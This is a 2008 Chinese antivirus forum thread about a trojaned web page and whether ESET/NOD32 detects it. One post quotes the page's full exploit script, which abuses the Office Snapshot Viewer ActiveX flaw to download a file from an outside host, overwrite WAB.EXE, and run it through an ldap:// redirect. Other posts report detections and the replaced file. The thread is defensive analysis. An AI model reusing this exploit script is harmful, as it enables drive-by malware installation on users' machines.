ESET id 验证网页被挂马

The EQs

原帖由 leonfg 于 2008-10-4 00:08 发表

NOD基本无视htm和js。不用试都知道

eset现在比较重视对脚本的检测，我每天发送的脚本都会进行分析

wangfeng66

要是NOD进入的话。真想看看是什么场面

wangfeng66

不知道为什么会调用Outlook Express/WAB。EXE 奇怪中？

wangfeng66

不知道为什么会调用Outlook Express/WAB。EXE 奇怪中？

promised

原帖由 wangfeng66 于 2008-10-4 00:13 发表
不知道为什么会调用Outlook Express/WAB。EXE 奇怪中？

http://wm.zdq003.cn/a7/ss.html

<script type="text/javascript">
function killErrors() {
return true;
}
window.onerror = killErrors;
var fuckavo="SB";
var x;
var fuckavp="SB";
var obj;
var fuckavx="SB";
var mycars = new Array();
var fuckava="SB";
mycars[0] = "c:/Program Files/Outlook Express/WAB.EXE";
mycars[1] = "d:/Program Files/Outlook Express/WAB.EXE";
mycars[2] = "e:/Program Files/Outlook Express/WAB.EXE";
var objlcx = new ActiveXObject("snpvw.Snapshot Viewer Control.1");
if(objlcx="[object]")
{
setTimeout('window.location = "ldap://"',3000);
for (x in mycars)
{
obj = new ActiveXObject("snpvw.Snapshot Viewer Control.1")
var yrtytr="ghjhgjyrt";
var buf1 = 'http://www.zmjjjyy.cn/new/a7.css';
var nbv="nvbfdsf";
var buf2=mycars[x];
var hfgnvbj="wertgx";
var gghfsdfdvj="fsdfssd";
obj.Zoom = 0;
obj.ShowNavigationButtons = false;
obj.AllowContextMenu = false;
obj.SnapshotPath = buf1;
try
{
obj.CompressedPath = buf2;
obj.PrintSnapshot();}catch(e){}
}
}
var ghdg="SB";
var jhsnfvasxa="SBd";
</script>

利用Microsoft Office Snapshot Viewer ActiveX漏洞
没有调用outlook
只是将outlook原文件
"c:/Program Files/Outlook Express/WAB.EXE";
"d:/Program Files/Outlook Express/WAB.EXE";
"e:/Program Files/Outlook Express/WAB.EXE";
替换为病毒文件http://www.zmjjjyy.cn/new/a7.css
利用ldap://直接触发运行病毒
PS：有些东西你没必要搞太清楚
杀软测毒网没什么意义，因为他们大多是滞后的
至少我可以看出你的WAB.EXE已经被替换了

[ 本帖最后由 promised 于 2008-10-4 09:16 编辑 ]

leonfg

原帖由 promised 于 2008-10-4 00:47 发表

http://wm.zdq003.cn/a7/ss.html

利用Microsoft Office Snapshot Viewer ActiveX漏洞
没有调用outlook
只是将outlook原文件
"c:/Program Files/Outlook Express/WAB.EXE";
"d:/Program Files/Outlook Expre ...

那个web.exe，Nod是认识的啊，楼主的怎么被成功替换了....

wangfeng66

DRWEB 也报告了。不过我发现一个是原有的WAB。EXE 一个是wab.exe.bmp 这个文件有问题我直接DEL。剩下的WAB。EXE DRWEB就不在报告了。
病毒调用WAB.EXE的时候DR启发报下载者是我放行了.郁闷阿放行感觉不对马上去看那个目录结果就多了个BMP文件.

wangfeng66

这是被替换的WAB。EXE 见附件

小邪邪

居然全灭...

tanlimo

这个毒网的下载物nod32可杀。

2008-10-4 11:43:28        文件系统实时防护        文件        D:\Documents and Settings\我是神\Local Settings\Temporary Internet Files\Content.IE5\T7ZZS70A\a7[1].css        可能是 Win32/TrojanDownloader.Agent.OHA 特洛伊木马 的变种        已删除        NT AUTHORITY\SYSTEM        在应用程序新建的文件上发生事件: D:\Program Files\Internet Explorer\iexplore.exe.

[ 本帖最后由 tanlimo 于 2008-10-4 11:52 编辑 ]